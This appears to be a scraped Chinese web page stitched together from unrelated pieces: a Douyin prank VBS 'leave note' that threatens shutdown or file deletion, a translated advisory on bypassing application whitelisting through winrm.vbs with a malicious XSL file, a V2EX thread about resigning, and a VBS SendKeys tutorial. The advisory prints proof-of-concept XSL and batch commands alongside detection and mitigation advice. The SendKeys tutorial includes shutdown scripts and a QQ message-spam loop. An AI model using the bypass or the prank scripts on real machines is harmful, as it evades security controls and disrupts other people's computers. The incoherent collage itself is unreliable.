如何用vbs做辞职信怎么写

抖音vbs请假条不同意就关机文件代码设置教程_我爱秘籍
我爱秘籍:游戏及攻略第一发布!
您的位置:
→ 抖音vbs请假条不同意就关机文件代码设置教程
抖音vbs请假条不同意就关机文件代码设置教程[图]
抖音中各种各样的辞职信和请假条火了,你们是不是也想体验一下这个文件呢?最近小编看到的一个是请假条,只有同意才会好使,点击其他的就会导致关机或者清除电脑所有的文档,这个是怎么设置的呢?下面小编就分享给大家代码和设置教程!
抖音vbs请假条不同意就关机文件代码设置教程:
1、新建文件,可以是TXT文件!
2、编辑你们想要说的内容!这个可以随意编辑!
3、tab不同意点击设置:跳转无效
4、关闭窗口设置:msgbox(&******&),**的位置填写上你们要说的话,之后改成一个vbs格式!抖音中设置的是:你以为点我就有用?点同意!
5、同意里面也设置一个tab回车文件!&老板大人,你点下退出有惊喜呦~&
退出设置的也是msgbox(&******&),**的位置填写上你们要说的话,之后改成一个vbs格式!
6、文件格式里面的字可以随意填!例如:Windows即将在1分钟之内关闭;
7、之后再次设置一个msgbox(&******&),**的位置填写上你们要说的话,之后改成一个vbs格式文件,这个也是随便填,只要你们的目的达到就可以了!例如:老板,你的电脑60秒之后自动关机,你赶紧备份数据!
以上就是抖音vbs请假条不同意就关机文件代码设置教程哦!
推荐阅读:利用Winrm.vbs绕过白名单限制执行任意代码
绕过方法描述
winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供’-format:pretty’或者’-format:text’参数时,winrm.vbs将从c.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将c.exe拷贝到攻击者可以控制的目录下,并将恶意的XSL文件也置于相同路径中,攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。
绕过方法的POC
整个工作流程如下所示:
1.在攻击者可以控制的目录中放置恶意的WsmPty.xsl或者WsmTxt.xsl文件。
2.拷贝c.exe或者w.exe到相同的目录中。
3.根据第一步中的恶意XSL文件(WsmPty.xsl或者WsmTxt.xsl),执行winrm.vbs并提供不同的参数(‘-format:pretty’或者’-format:text’)。下面是一个恶意XSL文件的例子。该文件可以被放置到上述第一步中的路径中(对于这个例子来说,是C:\BypassDir\WsmPty.xsl):
var r = new ActiveXObject("W.Shell").Run("cmd.exe");
一个更加有攻击意义的XSL文件可以执行通过DotNetToJ生成的Payload,导致攻击者可以利用该手法执行任意不具有签名的代码。在放置了恶意XSL文件后,以下的批处理文件可以被用来启动paylaod:
mkdir %SystemDrive%\BypassDir copy %windir%\System32\c.exe %SystemDrive%\BypassDir %SystemDrive%\BypassDir\c //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty 我是如何发现该问题的
我发现这个问题完全是出于偶然。我曾和Casey一起研究利用wmic.exe的XSL绕过方法,不久之后,我又开始检查系统自带的各种VBS和J文件,寻找更多的绕过方法。我之所以开始检查这些自带的脚本是因为Matt Nelson的.vbs注入技术给了我启发。当我在查阅winrm.vbs源码的时候,文件中的’WsmPty’以及’WsmTxt’马上引起了我的注意,因为Casey曾经在他的博客中说过,对于使用了XSL的文件,它们可以通过在XSL文件中嵌入WSH脚本内容而拥有执行任意代码的潜力。毫无疑问,winrm.vbs也不例外。我非常注重于寻找这些具备Windows签名的,并可以导致任意代码执行的脚本或者二进制文件。这是因为它们不仅可以绕过应用白名单的防御,同时它们也不容易被安全软件检查出来(至少当它们还没有被公布的时候)。我会一直都在寻找它们的路上!
若要对上述的方法做出有效的检测和防护,寻找这类攻击手段所需要的最小组件集合是很重要的。
攻击者控制的WsmPty.xsl或者WsmTxt.xsl文件一定会被创建
winrm.vbs硬编码了这两个文件的名字,并明确将这两个文件同’pretty’或者’text’参数绑定到了一起。目前来看,这两个文件只可能当前工作目录中被获取(多数情况下就是c.exe所在的目录),而不太可能被重定向到其他位置。从防守的角度上来说,若一个WsmPty.xsl或WsmTxt.xsl文件与它们在System32目录下的版本具有不同哈希值,则我们可以认为这个XSL文件是可疑的。幸运的是,合法的XSL文件很少会有变化。
一个具有有效签名的winrm.vbs会被执行。若要利用本文的绕过方法,攻击者不能修改winrm.vbs的内容
通过在命令行中寻找’winrm.vbs’字符串这种防御手段是不足的,因为攻击者可以任意修改winrm.vbs的文件名。
调用winrm.vbs时的’format’参数必须指定为’pretty’或’text’,这样winrm.vbs才会调用对应xsl文件
攻击者不仅仅可以采用’format’参数,下面的变种形式也是可以的(大小写敏感):
-format:pretty
-format:”pretty”
/format:pretty
/format:”pretty”
-format:text
-format:”text”
/format:text
/format:”text”
若仅仅查找’format’字符串可以检测到上述的所有变体,这种方法带来的误报会很多。’format:’后面所接内容的合法与否将取决于具体的公司环境。不过,对xsl文件的合法引用更多的来源于system32目录下的csript.exe和winrm.vbs文件,而不会来源于其他位置。
winrm.vbs应该是被c.exe执行的。winrm.vbs内部的逻辑验证了这一点。
winrm.vbs通过验证W.FullName是否包含了字符串’c.exe’这一点来验证其自身是被c.exe执行的。这个验证本身是不够完善的,因为它仅仅检查可执行文件的路径中是否包含’c.exe’字符串。这将导致攻击者可以从一个被重命名过的c.exe启动winrm.vbs,甚至可以用其他的脚本解释器(例如w.exe)来启动winrm.vbs。下面的批处理程序的例子解释了如何绕过winrm.vbs脚本中对’c.exe’的验证:
mkdir %SystemDrive%\BypassDir\c.exe copy %windir%\System32\w.exe %SystemDrive%\BypassDir\c.exe\winword.exe %SystemDrive%\BypassDir\c.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty 检测方法的健壮性
POC例子中的get wmicimv2/Win32_Process?Handle=4仅仅是为了说明实际的命令行参数将返回一些有意义的东西。这并不意味着这个方法需要WinRM服务被启用。有很多的选项都可以支持’format’参数。
足够健壮的检测手段不应该从命令行中检测’c.exe’或者’w.exe’作为判断依据。尽管如果攻击者没有刻意规避检测,这种检测方法可以检测到上文所述的攻击手段,但是攻击者若是将.exe拷贝并重命名,检测手段就对此无能为力了。一个更加健壮的检测方法应该考虑检测二进制文件的签名以及它的’原始文件名’。’原始文件名’这一属性被嵌入到了二进制文件之中,并被签名所保护,而如果攻击者想要修改这一属性,二进制文件的签名将会失效。
缓解和阻止措施
本文提到的绕过方法可以通过启用Windows Defender Application Control(WDAC)的User Mode Code Integrity(UMCI)选项来阻止。由于目前并没有其他有效的方法阻止这些具有Windows签名的脚本文件运行,具有威胁的脚本文件将通过其哈希值被禁用。不过获取各个版本的脚本文件的哈希值会是很困难的,考虑到Windows如此庞大的版本数量。这篇博客详细说明了为什么通过哈希值禁用文件是不高效的。至于缓解措施,微软可以修改这个脚本文件的内容并重新进行签名。如果这样做的话,这将导致之前版本的脚本文件的签名失效。所以如果我们通过WDAC启用了脚本执行的签名保护,这些脚本的执行将失败。然而,这样的场景只能阻止一个非管理员账户进行攻击,因为攻击者可以通过管理员权限安装微软之前版本的catalog签名,从而恢复脚本文件的签名信息。上述的阻止和缓解措施都依赖于WDAC的开启。考虑到目前有大量企业并没有开启WDAC,就算winrm.vbs被微软修复,也没有什么措施可以阻止攻击将旧版本的winrm.vbs文件放在系统中并加以利用。因此,就算微软修复了winrm.vbs的问题,目前也没有真正足够健壮的方法可以防护此问题。
WSH/XSL脚本检测
这不是第一次WSH/XSL被攻击者滥用,也不会是最后一次。攻击者应该需要了解它们的payload到底是从磁盘中的文件被执行或者是完全在内存中被执行。通过Logging技术,Powershell完全具有这种能力。然而对于WSH来说,它们却不具备类似的能力。然而,只要你对于ETW熟悉,利用Antimalware Scan Interface(AMSI)捕获WSH的内容是完全可能的。AMSI通过Microsoft-Antimalware-Scan-Interface ETW Provider被暴露出来。如果你想尝试获取ASMI事件,KrabsETW是你可以采用的最好的库之一。不过,若仅仅出于实验目的,你可以通过logman.exe获取ETL记录。下面的例子可以开始和暂停ETL的记录,并将ASMI相关的事件记录到ASMITrace.etl:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets logman stop AMSITrace -ets
尽管本文章将不会讨论ETW技术,你可能还是想知道我是怎么知道’Microsoft-Antimalware-Scan-Interface’这一EWT Provider,并且上文中的’Event1′又是从何而来。我是通过logman query providers这一命令查找已注册providers的名称的。’Event1′这一关键字对应着捕获ASMI信息。为了找到这个关键字,我通过perfview.exe将ETW清单文件导出到XML。这个清单文件可以让你很清楚地了解到通过这一provider到底可以查询到哪些事件。
在捕获到ETL记录后,你就可以自己任意选择工具来进行分析。Get-WinEvent这一powershell命令就可以很好的解析ETL记录。我写了一个简单的脚本来解析ASMI事件。需要注意的是,WSH无法提供’contentname’这一属性,导致我们不得不手动解析这一事件信息。这个脚本也会捕获到powershell的内容。
# author: Matt Graeber (@mattifestation) # logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets # Do your malicious things here that would be logged by AMSI # logman stop AMSITrace -ets $OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch = $OSArchProperty.OSArchitecture $OSPointerSize = 32 if ($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object { if (-not $_.Properties) { # The AMSI provider is not supplying the contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema. # If this bug were not present, retrieving WSH content would be trivial. $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"}) $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session = $BinaryReader.ReadUInt32() } 64 { $Session = $BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeName Text.StringBuilder do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize = $BinaryReader.ReadInt32() $OriginalSize = $BinaryReader.ReadInt32() $ContentRaw = $BinaryReader.ReadBytes($ContentSize) $Content = [Text.Encoding]::Unicode.GetString($ContentRaw) $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered = $BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered = $_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
在成功捕获之后,你就可以看到这次执行payload的内容了。pic here利用ETW进行相关检测并不是这篇文章的主题,不过希望这篇文章能够让你产生足够的兴趣,让你之后进行深入研究。
披露时间线
为了避免我们披露此问题后,攻击者利用该漏洞造成不良影响,我们一般会先向厂商报告漏洞并提供足够多的时间让它们修复问题。由于本文的漏洞涉及到Windows Defender Application Control,我们将这个问题提供给了Windows。整个时间线如下所示。
April 24, 2018 — 向MSRC报告此问题
April 24, 2018 — MSRC知晓了问题并提供了一个事件编号
April 30, 2018 — 收到邮件,告诉我们该问题已被复现
May 24, 2018 — 向MSRC发送邮件,要求更新
May 28, 2018 — 回复称评估过程仍在继续
June 10, 2018 — 向MSRC发送邮件,要求更新
June 11, 2018 — MSRC回复称计划在8月更新中修复问题
July 12, 2018 — MSRC回复称该问题不能通过安全更新方式解决,可能会在下一个版本更新中修复此问题。
原文地址: https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
*本文作者:无。,转载请注明来自FreeBuf.COM
责任编辑:
声明:该文观点仅代表作者本人,搜狐号系信息发布平台,搜狐仅提供信息存储空间服务。
今日搜狐热点如何委婉的跟关系很好的主管提出辞职? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
已注册用户请 &
如何委婉的跟关系很好的主管提出辞职?
10:17:50 +08:00 · 6515 次点击
咬牙坚持维护了一年的让人头疼而且心情爆炸的烂代码,公司终于招了另外一个猿了。
主管人不错,但是仅限于作为同事。
现在想直说,但是又不太好意思说。
怎么办,我好方!
急,在线等!
47 回复 &| &直到
13:07:05 +08:00
& & 10:20:52 +08:00
直说。你的主管很大一部分的工作就是和下属维护很好的关系,也就是让你觉得”主管人不错“。
& & 10:21:27 +08:00 via iPhone
& & 10:25:04 +08:00
成熟的领导应该会对团队流动有评估有举措,不会因为你的离职导致团队分崩离析,否则,这领导也是个棒槌。所以别抹不开面子,直接提就好。离职原因说委婉点大家都懂。
& & 10:26:46 +08:00
都有人接盘了还怕啥...
有啥说啥,说的好像以后还能经常见到一样...
& & 10:30:32 +08:00
不用替你主管考虑。。
& & 10:32:26 +08:00
@ 没有团队,去年从另外一个老猿走了之后就剩下我一个,一直在维护那些烂代码,公司舍不得出钱招聘,所以招不到人来,来面试都是一些只会 helloworld 水平的。
& & 10:33:25 +08:00
@ 如我上面所说,主管作为同事人不错,但是作为领导呢,只会画大饼,而且画的大饼一点都不圆。
& & 10:34:40 +08:00
屁,程序猿跳槽还这么纠结。又不欠他啥,都是给别人打工的,想要奔个好前程很自然啊,有啥不好意思的。
& & 10:35:04 +08:00
作为老师, 不是希望学生到处开花散叶么. 主管同理! 你有更好的选择, 他应该替你高兴. 反之如果他不为你着想, 你又何须烦恼.
& & 10:36:17 +08:00
@ 你们这公司也是够奇葩的,工程师文化这么差。。。
& & 10:42:47 +08:00
世界那么大,我想去看看
& & 10:44:37 +08:00
@ 说是电商公司,但是技术不是重点,销售第一,大致也就这样子吧。
& & 10:45:07 +08:00
@ 哈哈,我上次辞职的理由就是出去玩
& & 10:48:06 +08:00
你遇到的问题就是烂代码让你不爽。所以不是离职不离职的问题,是烂代码的问题。或者说因为烂代码而导致技术能力没法提升的问题。跟你领导聊这个问题,聊你遇到的问题就好了,看看他给什么答复。如果他的答复让你满意,你的问题就可以解决了,不用直接跳到离职这一步。
& & 10:52:47 +08:00
& & 10:55:23 +08:00
什么也不用说,直接递交辞职信最好问的话就“健康原因”,追问的话就“疾病是个人隐私”
& & 10:58:59 +08:00
@ 原因一:维护了一年烂代码,能力基本没有任何提升。就公司目前的计划来看,完全没可能有时间来重构烂代码,可能就这么一直烂下去了。原因二:主管永远都是在画大饼,而且基本没什么可能兑现。原因三:工资,工资,工资!(重要的事情说三遍)一同南下的四个同学,水平最差的那个工资都已经远远高于我辣!原因四:人员变动是在是太快,入职一年,八成同事都还是新面孔。除了主管关系不错外,我实在想不到为啥还要呆在这个公司了。可能想法偏激了点,抱歉。
& & 11:07:40 +08:00
人往高处走 并没有什么不好意思的
& & 11:07:56 +08:00
每个人程序员都觉得别人的代码是烂代码?
& & 11:18:20 +08:00
@ 我简单的分析了烂代码出现的主要原因。领导拍大腿,赶工期一星期必须上线。数据库设计按照销售的逻辑来设计,程序员用蹩脚的数据结构瞎写代码,只管当时能用。永远想着去重构永远没时间,然后这些程序有都离职了。
& & 11:18:38 +08:00
正常离职,人呐,出到社会,就要脸皮厚一点,脸皮不够厚,吃亏的总是你自己,我们做的又不是亏心事,你怕什么呢,正常离职,交接好工作就行了
& & 11:19:53 +08:00
@ 接着后面的程序员完全看不懂了,但是又不敢瞎改,接着用吧。其实我真的不明白,用销售的逻辑来设计数据库的程序员是不是脑残。
& & 11:20:52 +08:00
几个月前直说过, 想走的话, 还是说了吧.关于怎么说如果是项目原因离职, 你跟领导实说, 领导会说"遇到问题解决问题", 也许你会被留下来;但如果你跟领导说, 家庭或个人原因, 其实大家都懂, 估计都会让你走的.如果 LZ 也是老大不小了, 该向钱看还是要向钱看的~ 过日子不能光有梦想啊----到现在我对曾经的领导还都蛮愧疚的, 但对项目一点都不愧疚.愧疚的原因是, 我走的时候没人接盘, Web 前后端+服务器运维...到现在都没招来人-_-这也是没办法...个人发展不及项目, 会被裁; 那项目发展不及个人预期, 只能走..
& & 11:57:07 +08:00
申请涨工资呀不涨就走呗买卖不成人情在
& & 12:08:23 +08:00
如果不是裸辞,直接把下家公司的 offer 报给他如果是裸辞,就说想休息一下
& & 12:15:38 +08:00 via Android
今天谈了离职,给领导说剩下这段时间给我涨点工资吧,我没钱了。领导看我可怜给我从 3 月 1 号开始涨了 40 块钱,然后本周把安排的活干完开个证明就滚蛋
& & 12:27:48 +08:00
@ 40 块 这。。。。
& & 12:31:02 +08:00 via iPhone
直说就可以了。主管肯定理解你的
& & 12:33:40 +08:00 via Android
感谢公司的栽培,现因个人原因提出离职,望批准。委婉个大头鬼啊!
& & 12:38:38 +08:00
如果关系很好又何必委婉
& & 14:35:32 +08:00
@ 是每天涨 40 块钱吧,这么算工资的挺少见。
& & 15:05:14 +08:00 via Android
@ @ 是,一天涨 40 ,现在 260/天,给我说比 BAT 还高。我说还没上家公司工资高,他就不说话了,
& & 15:33:22 +08:00
@ 你们是怎么做到没钱花的。。。
& & 15:35:13 +08:00
不用委婉,都要走了,直说就行,注意情绪控制和语言表达。
& & 15:35:31 +08:00 via Android
@ 我不知道。。也可能是因为学费是我自己交的还有才来北京被二房东骗了一笔钱搞的?
& & 15:55:20 +08:00
@ 我今天在看知乎推送的,如何学会优雅地退出和拒绝。跳槽季必修课 23333
& & 16:38:54 +08:00
@ 求连接。
& & 16:44:54 +08:00
我相信一个真正的朋友和关系好的人,是愿意看到你有更好的未来,坦诚相待。
& & 16:45:23 +08:00
嗯, XX 主管大大,我最近手头紧,想借点钱。嗯,没问题,不超过 5 万块我都借。嗯,好,我借 5 个亿。。。CNM 。。。。
& & 16:46:48 +08:00
@ 想多了,现在急功近利的老师多了去了
& & 17:48:58 +08:00
请他吃顿饭,吃得差不多了,再说PS :我主管还是我邻居,我就是这么干的
& & 18:00:30 +08:00
我也是遇到这个问题,主管和我玩的比较好,都不知道怎么开口
& & 19:22:57 +08:00
如果真的是关系特别好的话,你可以直接说就行了,但是主意语气要委婉
& & 01:43:54 +08:00
在跟主管赛(谁先)跑的路过~
& & 11:03:18 +08:00
@ 工作上的事只考虑工作上的情况,既然他无法提供稳定的工作条件,那你辞职是光明正大的,理由可以说是身体不好,回(老)家修养。感觉健康问题比较不容易被踢皮球。
& & 11:33:58 +08:00
@ 谢谢,如大家所说的那样,直说,局面也没有太尴尬。
& & 13:07:05 +08:00
@ 看过了,所以说,一将功成万骨枯
& · & 599 人在线 & 最高记录 3762 & · &
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.1 · 18ms · UTC 21:49 · PVG 05:49 · LAX 14:49 · JFK 17:49? Do have faith in what you're doing.VBS实现自动按键
脚本实现自动按键盘的某个键 过程是:
间隔50毫秒
间隔3000毫秒
间隔50毫秒
回到第一步
批处理是不行的& 用VBS 很简单& 例子如下
Set objShell = CreateObject("Wscript.Shell")
WScript.Sleep 3000
objShell.SendKeys
"{F5}"&&&&&&&&&&&&&&
WScript.Sleep 3000
objShell.SendKeys "{F5}"&
使用 SendKeys
方法可以将键击发送到无自动化界面的应用程序中。多数键盘字符都可用一个键击表示。某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。要发送单个键盘字符,请将字符本身作为
string 参数发送。例如,要发送字母 x,则请发送 string 参数 "x"。
可使用 SendKeys
同时发送多个键击。为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。例如,要发送键击 a、b 和
c,则需要发送字符串参数 "abc" 。SendKeys
方法将某些字符用作字符的修饰符(而不使用其本身的含义)。这组特殊的字符可包括圆括号、中括号、大括号,以及:&&&&
加号&&&&&&&&&&&&
插入记号&&&&&&&&
百分号&&&&&&&&&&
和“非”符号&&&&
用大括号 "{}" 括起这些字符可以发送它们。例如,要发送加号,请使用字符串参数 "{+}"。SendKeys中使用的中括号
]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换 (DDE)
就是这样)。&&&&
要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数
"{]}"。&&&&
要发送左大括号字符,请发送字符串参数 "{{}";要发送右大括号字符,请发送字符串参数 "{}}"。
某些键击不生成字符(如 ENTER 和 TAB)。某些键击表示操作(如 BACKSPACE 和
BREAK)。要发送这些类型的键击,请发送下表中列出的参数:
空格键&&&&&&&&&&
退格键&&&&&&&&&&
{BACKSPACE} 或 {BS} 或
{BKSP}&&&&
BREAK&&&&&&&&&&
{BREAK}&&&&
DELETE&&&&&&&&
{DELETE}&&&&
向下键&&&&&&&&&&
向上键&&&&&&&&&&
向左键&&&&&&&&&&
向右键&&&&&&&&&&
{RIGHT}&&&
END&&&&&&&&&&&&&
ENTER&&&&&&&&&&
{ENTER}&&&&
ESC&&&&&&&&&&&&&
TAB&&&&&&&&&&&&&
LOCK&&&&&&
{CAPSLOCK}&&&&&&&&&&&&&&
HELP&&&&&&&&&&&&
{HELP}&&&&
HOME&&&&&&&&&&&
{HOME}&&&&
INSERT&&&&&&&&&
{INSERT}&&&&
LOCK&&&&&&&&&
{NUMLOCK}&&&&
DOWN&&&&&&
{PGDN}&&&&
UP&&&&&&&&&&&
{PGUP}&&&&
PRINT SCREEN&&&
{PRTSC}&&&&
{SCROLLLOCK}&&&&
要发送由常规键击和 SHIFT、CTRL 或 ALT
组合而成的键盘字符,请创建表示该键击组合的复合字符串参数。可通过在常规键击之前添加一个或多个以下特殊字符来完成上述操作:
注意:这样使用时,不用大括号括起这些特殊字符。&&
要指定在按下多个其他键时,按下 SHIFT、CTRL 和 ALT
的组合,请创建复合字符串参数,用括号括起其中的组合键。例如,要发送的组合键指定:&&&&
如果在按 e 和 c 的同时按 SHIFT
键,则发送字符串参数&&&&
"+(ec)"。&&&&
如果在按 e 时只按 c(而不按
SHIFT),则发送字符串参数&&&&
"+ec"。&&&&
可使用&&&&
SendKeys&&&&
方法发送一种在一行内重复按键的键击。为此,要创建复合字符串参数,以指定要重复的键击,并在其后指定重复次数。可使用 {键击 数字}
形式的复合字符串参数来完成上述操作。例如,如果要发送 10 次 "x",则需要发送字符串参数
10}"。请确保在键击和数字之间有一个空格。&&
注意:只可以发送重复按一个键的键击。例如,可以发送 10 次 "x",但不可发送 10
"Ctrl+x"。&&
注意:不能向应用程序发送&&&&
SCREEN&&&&
例子1:关机脚本 (模拟按键为:Ctrl + Esc、u、u )
把以下代码复制至记事本,另存为 off.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}uu"
例子2:重启脚本 (模拟按键为:Ctrl + Esc、u、r )
把以下代码复制至记事本,另存为 reboot.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}ur"
例子3:切换输入法
(模拟同时按下:Shift&&&
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "+(^)"
例子4:输入 cn-dos.net! 至记事本并保存为 CnDos.txt
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1500
WshShell.AppActivate "无标题 - 记事本"
WshShell.SendKeys "c"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "-"
WScript.Sleep 200
WshShell.SendKeys "d"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "."
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "e"
WScript.Sleep 200
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "!"
WScript.Sleep 200
WshShell.SendKeys "%FS"
WScript.Sleep 500
WshShell.SendKeys "C"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "D"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "%S"
WScript.Sleep 500
WshShell.SendKeys "%FX"
例子5:自动定时存盘的记事本(此脚本来自网上)
'第一部分:定义变量和对象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=()&&&
'自动存盘时间为1分钟
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("给文本起名(不能用中文和纯数字):")
'第二部分:打开并激活记事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "无标题 - 记事本"
'第三部分:用输入的文件名存盘
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
'第四部分:自动定时存盘
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
WScript.Quit
set objShell = CreateObject("Wscript.Shell")
strCommandLine =
"psetup755281.exe"&&&&&&&
'启动安装程序
objShell.Run(strCommandLine)
set WshShell = CreateObject("WScript.Shell")
WScript.Sleep
2000&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep
300&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep
300&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep
5200&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep
300&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep
300&&&&&&&
WshShell.SendKeys
"{ENTER}"&&&&&&&
'模拟按下回车键执行下一步
WScript.Sleep 200
WshShell.SendKeys "
'模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep 100
WshShell.SendKeys
"{TAB}"&&&&&&&
'模拟按下 Tab 键选择安装项目
WScript.Sleep 200
WshShell.SendKeys "
'模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep
200&&&&&&&
'延时0.3秒
WshShell.SendKeys
"f"&&&&&&&
'模拟按下 F键同意协议
*************
另外方式:
dim& endtime&
endtime=timer()&
response.write&
"页面执行时间:"&FormatNumber(endtime*1000,3)&"毫秒"&
对比下面是计算相差的日期
DiffADate=DateDiff("d",sdate,now)
***************************************************************
VBS中SendKeys方法将响应键盘的操作,并发送此值。这样将实现许多有趣、适用、方便的功能!基本上只要键盘能完成的操作,SendKeys就能一并完成。你想到了什么?嘿嘿!下面的代码是经过我一个晚上的整理与测试。其中QQ自动登录的不成功!不是代码不行,估计是最新版QQ的保护机制!
第一个例子、将下面这段代码保存为ie.vbs,运行此vbs,将会打开我的博客。
set s = WScript.CreateObject("WScript.Shell")
'创建WScript.Shell对象
app=s.Run ("iexplore") '打开IE浏览器
WScript.Sleep 1000 '这表示停顿1000毫秒,即1秒,下面一样……
s.AppActivate app
s.SendKeys "+{TAB}"
s.SendKeys ""
s.SendKeys "{ENTER}"
这段代码响应了键盘三个动作:Shift+Tab聚焦于地址栏、键入“http://hi.baidu.com/ycosxhack”、Enter回车。于是这样就打开我的博客了^^
第二个例子、将下面代码保存为qq.vbs,运行此vbs,将会自动输入你的QQ帐号与密码,然后登录。
set s = WScript.CreateObject("WScript.Shell")
app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") '你QQ的路径!
'注意Program Files要写成Progra~1,我一个晚上测试出来的答案- -!!
WScript.Sleep 1000
s.AppActivate app
s.SendKeys "+{TAB}"
WScript.Sleep 500
s.SendKeys ""
s.SendKeys "{TAB}"
WScript.Sleep 500
s.SendKeys "123456"
WScript.Sleep 1000
s.SendKeys "{ENTER}"
这段代码响应了键盘五个动作:Shift+Tab、输入QQ号、Tab、输入QQ密码123456、Enter回车,测试时,将这些值换成你自己的。
能懂这两个例子,其它不就可以举一反三了吗?记住只要键盘能完成的SendKeys基本都是可以完成的!那些黑客们经常用到的快捷键(基本不用鼠标就可以完成任务!)都可以模拟出来,再举个小例子,打开“任务管理器”,Ctrl+Shift+Esc对吧?看下面代码:
set s = WScript.CreateObject("WScript.Shell")
s.SendKeys "^+{ESC}"
运行后,是不是打开任务管理器啦?要关闭电脑?调用cmd?删除文件?格式硬盘?等等,通过SendKeys方法皆可轻易完成!这在某些方面也许会很有用,比如:黑客方面……
呃~~~上面的SendKeys方法是不是有点地方不明白?如:打开“任务管理器”的例子,SendKeys
"^+{ESC}"中^+{ESC}为什么代表Ctrl+Shift+Esc?放心,最后我会给出MSDN的SendKeys方法的帮助文档,很简单,自己一看就会恍然大悟的!^^
最后来个有点恶作剧的例子,就是网上有点流行的“QQ消息疯狂乱发”,如何实现?看下面代码:
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate ""
for i=1 to 100 '循环发送消息100次!
WScript.Sleep 2000
WshShell.SendKeys "^v" '粘贴剪切板里的内容到QQ聊天面板上!
WshShell.SendKeys "%s" '发送……
